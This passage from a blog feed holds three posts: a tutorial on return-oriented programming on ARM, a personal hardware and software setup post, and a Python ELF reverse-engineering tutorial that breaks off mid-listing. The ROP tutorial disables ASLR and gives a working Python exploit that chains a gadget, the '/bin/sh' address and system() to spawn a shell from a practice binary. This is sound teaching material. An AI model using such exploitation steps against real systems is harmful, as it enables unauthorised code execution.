698<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
699Basics</a>. Once you’re
700comfortable with it, proceed with the next bit — environment setup.</p>
701
702<h3 id="setup">Setup</h3>
703
704<p>Since we’re working with the ARM architecture, there are two options to go
705forth with: </p>
706
707<ol>
708<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
709And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
710The scripts found inside should be self-explanatory.</li>
711<li>Use actual ARM hardware, like an RPi.</li>
712</ol>
713
714<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
715may use <code>radare2</code>, IDA or anything else, really. All of which can be
716trivially installed.</p>
717
718<p>And for the sake of simplicity, disable ASLR:</p>
719
720<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
721</code></pre></div>
722
723<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
724<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
725
726<p>Compile it:</p>
727
728<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
729</code></pre></div>
730
731<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
732
733<h3 id="a-primer-on-rop">A primer on ROP</h3>
734
735<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
736used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
737In essence, no code in the binary is actually modified and the entire exploit
738is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
739
740<p>A gadget is essentially a small sequence of code (instructions), ending with
741a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
742code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
743These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
744to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
745there’s generally a call to <code>system()</code>, to acheive code execution.</p>
746
747<p>In practice, the process of executing a ropchain is something like this:</p>
748
749<ul>
750<li>confirm the existence of a stack-based buffer overflow</li>
751<li>identify the offset at which the instruction pointer gets overwritten</li>
752<li>locate the addresses of the gadgets you wish to use</li>
753<li>craft your input keeping in mind the stack’s layout, and chain the addresses
754of your gadgets</li>
755</ul>
756
757<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
758Check it out, it might be just what you needed for that “aha!” moment :)</p>
759
760<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
761that should put things into perspective.</p>
762
763<h3 id="exploring-our-binary">Exploring our binary</h3>
764
765<p>Start by running it, and entering any arbitrary string. On entering a fairly
766large string, say, “A” × 20, we
767see a segmentation fault occur.</p>
768
769<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
770
771<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
772
773<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
774
775<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
776<code>gadget</code>. Disassembling the <code>main</code> function:</p>
777
778<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
779
780<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
781to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
782never actually called.</p>
783
784<p>Disassembling the <code>gadget</code> function:</p>
785
786<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
787
788<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
789which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
790instruction in the middle. This is a <strong>gadget</strong>.</p>
791
792<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
793arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
794are used for this. So this gadget effectively allows us to pass arguments to
795functions using <code>r0</code>, and subsequently jumping to them by passing its address
796in <code>pc</code>. Neat.</p>
797
798<p>Moving on to the disassembly of the <code>winner</code> function:</p>
799
800<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
801
802<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
803So our end goal here is to, quite obviously, execute code via the <code>system()</code>
804function.</p>
805
806<p>Now that we have an overview of what’s in the binary, let’s formulate a method
807of exploitation by messing around with inputs.</p>
808
809<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
810
811<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
812screenshot.</p>
813
814<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
815
816<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
817the <code>pc</code> has been overwritten with our input.
818So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
819
820<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
821control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
822
823<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
824of the second instruction — <code>add r11, sp, #4</code>.
825For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
826the address of <code>winner</code>. Note the endianness.</p>
827
828<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
829</code></pre></div>
830
831<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
832
833<p>The reason we don’t jump to the first instruction is because we want to control the stack
834ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
835those out after <code>winner</code> is done executing and we will no longer control
836where it jumps to.</p>
837
838<p>So that didn’t do much, just prints out a string “Nothing much here…”.
839But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
840to do what we want (run a command, execute a shell, etc.).</p>
841
842<p>To do that, we’ll follow a multi-step process: </p>
843
844<ol>
845<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
846<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
847<code>r0</code>.</li>
848<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
849</ol>
850
851<p>The pseudo-code is something like this:</p>
852
853<pre><code>string = AAAABBBBCCCCDDDDEEEE
854gadget = # addr of gadget
855binsh = # addr of /bin/sh
856system = # addr of system()
857
858print(string + gadget + binsh + system)
859</code></pre>
860
861<p>Clean and mean.</p>
862
863<h3 id="the-exploit">The exploit</h3>
864
865<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
866It allows us to pack the bytes of addresses to the endianness of our choice.
867It probably does a lot more, but who cares.</p>
868
869<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
870at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
871
872<pre><code>(gdb) find &system, +9999999, "/bin/sh"
873</code></pre>
874
875<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
876
877<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
878found from the disassmblies from earlier. Here’s the final exploit code:</p>
879
880<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
881
882<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
883<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
884<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
885<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
886
887<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
888</code></pre></div>
889
890<p>Honestly, not too far off from our pseudo-code :)</p>
891
892<p>Let’s see it in action:</p>
893
894<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
895
896<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
897when the pipe closes, since there’s no input coming in from STDIN.
898To get around this, we use <code>cat(1)</code> which allows us to relay input through it
899to the shell. Nifty trick.</p>
900
901<h3 id="conclusion">Conclusion</h3>
902
903<p>This was a fairly basic challenge, with everything laid out conveniently.
904Actual ropchaining is a little more involved, with a lot more gadgets to be chained
905to acheive code execution.</p>
906
907<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
908]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
909
910<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
9118 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
912
913<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
914I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
915
916<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
917
918<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
919For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
920
921<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
922Great pair of headphones, although the ear cups need replacing.</p>
923
924<h3 id="and-the-software">And the software</h3>
925
926<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
927window manager, all riced. I now use whatever JustWorks™.</del></p>
928
929<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
930running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
931
932<p>Here’s a (riced) screenshot of my desktop. </p>
933
934<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
935
936<p>Most of my work is done in either the browser, or the terminal.
937My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
938a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
939My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
940I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
941
942<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
943clean and a single command to drop into a Kali shell.</p>
944
945<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
946The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
947
948<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
949]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
950
951<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
952
953<h3 id="setup">Setup</h3>
954
955<p>As the title suggests, you’re going to need a Python 3 interpreter before
956anything else. Once you’ve confirmed beyond reasonable doubt that you do,
957in fact, have a Python 3 interpreter installed on your system, run</p>
958
959<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
960</code></pre></div>
961
962<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
963
964<p>With that out of the way, let’s start with an example of a basic reversing
965challenge.</p>
966
967<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
968
969<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
970<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
971<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
972
973<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
974 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
975 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
976 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
977 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
978 <span class="p">}</span>
979 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
980 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
981 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
982 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
983 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
984 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
985 <span class="p">}</span>
986 <span class="k">else</span> <span class="p">{</span>
987 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
988 <span class="p">}</span>
989<span class="p">}</span>
990</code></pre></div>
991
992<p>Compile it with GCC/Clang:</p>
993
994<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
995</code></pre></div>
996
997<h3 id="scripting">Scripting</h3>
998
999<p>For starters, let’s look at the different sections present in the binary.</p>
1000
1001<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1002
1003<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1004
1005<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1006 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1007 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1008 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1009</code></pre></div>
1010
1011<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1012
1013<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1014<span class="go">0x238 .interp</span>
1015<span class="go">0x254 .note.ABI-tag</span>
1016<span class="go">0x274 .note.gnu.build-id</span>
1017<span class="go">0x298 .gnu.hash</span>
1018<span class="go">0x2c0 .dynsym</span>
1019<span class="go">0x3e0 .dynstr</span>
1020<span class="go">0x484 .gnu.version</span>
1021<span class="go">0x4a0 .gnu.version_r</span>
1022<span class="go">0x4c0 .rela.dyn</span>
1023<span class="go">0x598 .rela.plt</span>
1024<span class="go">0x610 .init</span>
1025<span class="go">0x630 .plt</span>
1026<span class="go">0x690 .plt.got</span>
1027<span class="go">0x6a0 .text</span>
1028<span class="go">0x8f4 .fini</span>
1029<span class="go">0x900 .rodata</span>
1030<span class="go">0x924 .eh_frame_hdr</span>
1031<span class="go">0x960 .eh_frame</span>
1032<span class="go">0x200d98 .init_array</span>
1033<span class="go">0x200da0 .fini_array</span>
1034<span class="go">0x200da8 .dynamic</span>
1035<span class="go">0x200f98 .got</span>
1036<span class="go">0x201000 .data</span>
1037<span class="go">0x201010 .bss</span>
1038<span class="go">0x0 .comment</span>
1039<span class="go">0x0 .symtab</span>
1040<span class="go">0x0 .strtab</span>
1041<span class="go">0x0 .shstrtab</span>
1042</code></pre></div>
1043
1044<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1045
1046<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1047
1048<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1049
1050<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1051<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1052
1053<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1054 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1055 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1056 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1057 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1058 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1059 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1060 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1061</code></pre></div>
1062
1063<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1064
1065<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1066<span class="go">0x6a0: xor ebp, ebp</span>
1067<span class="go">0x6a2: mov r9, rdx</span>
1068<span class="go">0x6a5: pop rsi</span>
1069<span class="go">0x6a6: mov rdx, rsp</span>
1070<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1071<span class="go">0x6ad: push rax</span>
1072<span class="go">0x6ae: push rsp</span>
1073<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1074<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1075<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1076<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1077<span class="go">0x6ca: hlt</span>
1078<span class="go">... snip ...</span>
1079</code></pre></div>
1080
1081<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1082
1083<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1084
1085<blockquote>
1086 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1087</blockquote>
1088
1089<p>To try and find these relocation entries, we write a third script.</p>
1090
1091<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1092
1093<span class="kn">import</span> <span class="nn">sys</span>
1094<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1095<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1096
1097<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1098 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1099 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1100 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1101 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1102 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1103 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1104 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1105 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1106 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1107</code></pre></div>
1108
1109<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1110
1111<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1112<span class="go">.rela.dyn:</span>
1113<span class="go"> 0x200d98</span>
1114<span class="go"> 0x200da0</span>
1115<span class="go"> 0x201008</span>
1116<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1117<span class="go">**__libc_start_main 0x200fe0**</span>
1118<span class="go">__gmon_start__ 0x200fe8</span>
1119<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1120<span class="go">__cxa_finalize 0x200ff8</span>
1121<span class="go">stdin 0x201010</span>
1122<span class="go">.rela.plt:</span>
1123<span class="go">puts 0x200fb0</span>
1124<span class="go">printf 0x200fb8</span>
1125<span class="go">fgets 0x200fc0</span>
1126<span class="go">strcmp 0x200fc8</span>
1127<span class="go">malloc 0x200fd0</span>
1128</code></pre></div>
1129
1130<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1131
1132<blockquote>
1133 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1134</blockquote>
1135
1136<p>And its definition is like so</p>
1137
1138<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1139<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1140<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1141<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1142<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1143<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1144</code></pre></div>
1145
1146<p>Looking back at our disassembly</p>
1147
1148<pre><code>0x6a0: xor ebp, ebp
11490x6a2: mov r9, rdx
11500x6a5: pop rsi
11510x6a6: mov rdx, rsp
11520x6a9: and rsp, 0xfffffffffffffff0
11530x6ad: push rax
11540x6ae: push rsp
11550x6af: lea r8, [rip + 0x23a]
11560x6b6: lea rcx, [rip + 0x1c3]
1157**0x6bd: lea rdi, [rip + 0xe6]**
11580x6c4: call qword ptr [rip + 0x200916]
11590x6ca: hlt
1160... snip ...
1161</code></pre>
1162
1163<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1164
1165<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1166
1167<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1168
1169<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1170
1171<pre><code>printf 0x650
1172fgets 0x660
1173strcmp 0x670
1174malloc 0x680
1175</code></pre>
1176
1177<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1178
1179<pre><code>0x7b2: mov edi, 0xa ; 10
11800x7b7: call 0x680 ; malloc
1181</code></pre>
1182
1183<p>The loop to populate the <code>*pw</code> string</p>
1184
1185<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
